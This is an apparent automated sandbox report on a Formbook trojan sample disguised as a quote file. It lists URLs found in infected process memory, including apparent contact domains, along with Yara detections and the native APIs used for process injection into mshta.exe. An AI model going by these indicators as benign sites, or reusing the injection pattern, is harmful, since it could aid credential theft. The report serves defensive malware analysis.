Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-includes/js/jquery/ui/core.min.js?ver=1.13.3
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/xmlrpc.php
Source: qnPyaKsYTE.exe, 0000000A.00000002.4597123623.0000000004D3B000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.rtpsilva4d.click
Source: qnPyaKsYTE.exe, 0000000A.00000002.4597123623.0000000004D3B000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.rtpsilva4d.click/3x2e/
Source: mshta.exe, 00000008.00000003.2413498056.00000000082F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://api.w.org/
Source: qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://app.ddgame168.online/utm-source/coba168-info
Source: mshta.exe, 00000008.00000003.2413498056.00000000082F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: mshta.exe, 00000008.00000003.2413498056.00000000082F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: mshta.exe, 00000008.00000003.2413498056.00000000082F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: mshta.exe, 00000008.00000003.2413498056.00000000082F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: mshta.exe, 00000008.00000003.2413498056.00000000082F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: mshta.exe, 00000008.00000003.2413498056.00000000082F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto%3A100%2C100italic%2C200%2C200italic%2C300%2C300italic
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://fonts.gstatic.com/
Source: qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://line.me/R/ti/p/
Source: mshta.exe, 00000008.00000002.4592995544.0000000002FED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: mshta.exe, 00000008.00000002.4592995544.0000000002FED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: mshta.exe, 00000008.00000002.4592995544.0000000002FC3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000008.00000002.4592995544.0000000002FED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: mshta.exe, 00000008.00000002.4592995544.0000000002FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: mshta.exe, 00000008.00000002.4592995544.0000000002FED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: mshta.exe, 00000008.00000002.4592995544.0000000002FED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: mshta.exe, 00000008.00000003.2408754560.0000000008214000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: mshta.exe, 00000008.00000002.4595178953.00000000058D0000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.0000000004260000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://onlineblikjes.nl/?7Bohe=9B/xOqaHJLGzhK9
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://schema.org
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://schema.org/WPFooter
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://schema.org/WPHeader
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.coba168.info
Source: qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.coba168.info/
Source: qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.coba168.info/#/schema/logo/image/
Source: qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.coba168.info/#organization
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.coba168.info/#website
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.coba168.info/%e0%b8%9a%e0%b8%97%e0%b8%84%e0%b8%a7%e0%b8%b2%e0%b8%a1/
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.coba168.info/?s=
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.coba168.info/about-us/
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.coba168.info/comments/feed/
Source: qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.coba168.info/contact-us/
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.coba168.info/feed/
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.coba168.info/login/
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.coba168.info/privacy-policy-2/
Source: qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.coba168.info/promotion/
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.coba168.info/register
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.coba168.info/sitemap_index.xml
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.coba168.info/slot-online/
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.coba168.info/terms-and-conditions/
Source: qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.coba168.info/wp-content/uploads/2024/08/5.png
Source: qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.coba168.info/wp-content/uploads/2024/10/COBA-168-
Source: qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.coba168.info/wp-content/uploads/2024/10/cropped-COBA-168-
Source: qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.coba168.info/wp-json/
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.coba168.info/xmlrpc.php?rsd
Source: mshta.exe, 00000008.00000003.2413498056.00000000082F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: mshta.exe, 00000008.00000003.2413498056.00000000082F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://yoast.com/wordpress/plugins/seo/

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 4.2.QUOTE2342534.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.QUOTE2342534.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.4594417209.0000000003680000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2231861338.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4594132519.0000000003340000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4597123623.0000000004CB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4592913893.0000000002F20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2232369881.0000000001620000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2233350481.0000000002F40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4594398823.0000000003FD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 4.2.QUOTE2342534.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 4.2.QUOTE2342534.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.4594417209.0000000003680000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.2231861338.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.4594132519.0000000003340000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.4597123623.0000000004CB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.4592913893.0000000002F20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.2232369881.0000000001620000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.2233350481.0000000002F40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000007.00000002.4594398823.0000000003FD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 0_2_089F2CA8 NtQueryInformationProcess,	0_2_089F2CA8
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 0_2_089F2CA0 NtQueryInformationProcess,	0_2_089F2CA0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0042C4E3 NtClose,	4_2_0042C4E3
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762B60 NtClose,LdrInitializeThunk,	4_2_01762B60
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762DF0 NtQuerySystemInformation,LdrInitializeThunk,	4_2_01762DF0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762C70 NtFreeVirtualMemory,LdrInitializeThunk,	4_2_01762C70
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017635C0 NtCreateMutant,LdrInitializeThunk,	4_2_017635C0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01764340 NtSetContextThread,	4_2_01764340
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01764650 NtSuspendThread,	4_2_01764650
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762BF0 NtAllocateVirtualMemory,	4_2_01762BF0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762BE0 NtQueryValueKey,	4_2_01762BE0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762BA0 NtEnumerateValueKey,	4_2_01762BA0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762B80 NtQueryInformationFile,	4_2_01762B80
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762AF0 NtWriteFile,	4_2_01762AF0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762AD0 NtReadFile,	4_2_01762AD0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762AB0 NtWaitForSingleObject,	4_2_01762AB0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762D30 NtUnmapViewOfSection,	4_2_01762D30
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762D10 NtMapViewOfSection,	4_2_01762D10
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762D00 NtSetInformationFile,	4_2_01762D00
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762DD0 NtDelayExecution,	4_2_01762DD0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762DB0 NtEnumerateKey,	4_2_01762DB0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762C60 NtCreateKey,	4_2_01762C60
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762C00 NtQueryInformationProcess,	4_2_01762C00
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762CF0 NtOpenProcess,	4_2_01762CF0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762CC0 NtQueryVirtualMemory,	4_2_01762CC0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762CA0 NtQueryInformationToken,	4_2_01762CA0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762F60 NtCreateProcessEx,	4_2_01762F60
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762F30 NtCreateSection,	4_2_01762F30
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762FE0 NtCreateFile,	4_2_01762FE0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762FB0 NtResumeThread,	4_2_01762FB0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762FA0 NtQuerySection,	4_2_01762FA0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762F90 NtProtectVirtualMemory,	4_2_01762F90
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762E30 NtWriteVirtualMemory,	4_2_01762E30
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762EE0 NtQueueApcThread,	4_2_01762EE0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762EA0 NtAdjustPrivilegesToken,	4_2_01762EA0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01762E80 NtReadVirtualMemory,	4_2_01762E80
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01763010 NtOpenDirectoryObject,	4_2_01763010
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01763090 NtSetValueKey,	4_2_01763090
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017639B0 NtGetContextThread,	4_2_017639B0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01763D70 NtOpenThread,	4_2_01763D70
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01763D10 NtOpenProcessToken,	4_2_01763D10
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03884340 NtSetContextThread,LdrInitializeThunk,	8_2_03884340
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03884650 NtSuspendThread,LdrInitializeThunk,	8_2_03884650
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03882BA0 NtEnumerateValueKey,LdrInitializeThunk,	8_2_03882BA0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03882BE0 NtQueryValueKey,LdrInitializeThunk,	8_2_03882BE0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03882BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	8_2_03882BF0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03882B60 NtClose,LdrInitializeThunk,	8_2_03882B60
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03882AD0 NtReadFile,LdrInitializeThunk,	8_2_03882AD0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03882AF0 NtWriteFile,LdrInitializeThunk,	8_2_03882AF0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03882FB0 NtResumeThread,LdrInitializeThunk,	8_2_03882FB0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03882FE0 NtCreateFile,LdrInitializeThunk,	8_2_03882FE0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03882F30 NtCreateSection,LdrInitializeThunk,	8_2_03882F30
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03882E80 NtReadVirtualMemory,LdrInitializeThunk,	8_2_03882E80
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03882EE0 NtQueueApcThread,LdrInitializeThunk,	8_2_03882EE0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03882DD0 NtDelayExecution,LdrInitializeThunk,	8_2_03882DD0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03882DF0 NtQuerySystemInformation,LdrInitializeThunk,	8_2_03882DF0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03882D10 NtMapViewOfSection,LdrInitializeThunk,	8_2_03882D10
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03882D30 NtUnmapViewOfSection,LdrInitializeThunk,	8_2_03882D30
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03882CA0 NtQueryInformationToken,LdrInitializeThunk,	8_2_03882CA0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03882C60 NtCreateKey,LdrInitializeThunk,	8_2_03882C60
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03882C70 NtFreeVirtualMemory,LdrInitializeThunk,	8_2_03882C70
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038835C0 NtCreateMutant,LdrInitializeThunk,	8_2_038835C0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_038839B0 NtGetContextThread,LdrInitializeThunk,	8_2_038839B0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03882B80 NtQueryInformationFile,	8_2_03882B80
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03882AB0 NtWaitForSingleObject,	8_2_03882AB0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03882F90 NtProtectVirtualMemory,	8_2_03882F90
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03882FA0 NtQuerySection,	8_2_03882FA0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03882F60 NtCreateProcessEx,	8_2_03882F60
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03882EA0 NtAdjustPrivilegesToken,	8_2_03882EA0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03882E30 NtWriteVirtualMemory,	8_2_03882E30
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03882DB0 NtEnumerateKey,	8_2_03882DB0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03882D00 NtSetInformationFile,	8_2_03882D00
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03882CC0 NtQueryVirtualMemory,	8_2_03882CC0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03882CF0 NtOpenProcess,	8_2_03882CF0
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03882C00 NtQueryInformationProcess,	8_2_03882C00
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03883090 NtSetValueKey,	8_2_03883090
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03883010 NtOpenDirectoryObject,	8_2_03883010
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03883D10 NtOpenProcessToken,	8_2_03883D10
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_03883D70 NtOpenThread,	8_2_03883D70
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_02F48E10 NtCreateFile,	8_2_02F48E10
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_02F48F80 NtReadFile,	8_2_02F48F80
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_02F49280 NtAllocateVirtualMemory,	8_2_02F49280
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_02F49070 NtDeleteFile,	8_2_02F49070
Source: C:\Windows\SysWOW64\mshta.exe	Code function: 8_2_02F49110 NtClose,	8_2_02F49110

Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 0_2_00EFD304	0_2_00EFD304
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 0_2_089F8B70	0_2_089F8B70
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 0_2_089F5020	0_2_089F5020
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 0_2_089F0040	0_2_089F0040
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 0_2_089F33FC	0_2_089F33FC
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 0_2_089FD848	0_2_089FD848
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 0_2_089FBB80	0_2_089FBB80
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 0_2_089F8B62	0_2_089F8B62
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 0_2_089F1C80	0_2_089F1C80
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 0_2_089F8C22	0_2_089F8C22
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 0_2_089F1C70	0_2_089F1C70
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 0_2_089F2E28	0_2_089F2E28
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 0_2_089FBFB8	0_2_089FBFB8
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 0_2_089F20B8	0_2_089F20B8
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 0_2_089F5012	0_2_089F5012
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 0_2_089F0006	0_2_089F0006
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 0_2_089F52B0	0_2_089F52B0
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 0_2_089F52A2	0_2_089F52A2
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 0_2_089FD410	0_2_089FD410
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 0_2_089F2578	0_2_089F2578
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 0_2_089FB748	0_2_089FB748
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 0_2_0EF41B88	0_2_0EF41B88
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_00418543	4_2_00418543
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0040284A	4_2_0040284A
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_00402850	4_2_00402850
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_00410093	4_2_00410093
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_00403150	4_2_00403150
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0040E113	4_2_0040E113
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0042EB03	4_2_0042EB03
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0040FE6E	4_2_0040FE6E
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_0040FE73	4_2_0040FE73
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_00416733	4_2_00416733
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017B8158	4_2_017B8158
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017CA118	4_2_017CA118
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_01720100	4_2_01720100
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017E81CC	4_2_017E81CC
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017F01AA	4_2_017F01AA
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017E41A2	4_2_017E41A2
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017C2000	4_2_017C2000
Source: C:\Users\user\Desktop\QUOTE2342534.exe	Code function: 4_2_017EA352	4_2_017EA352
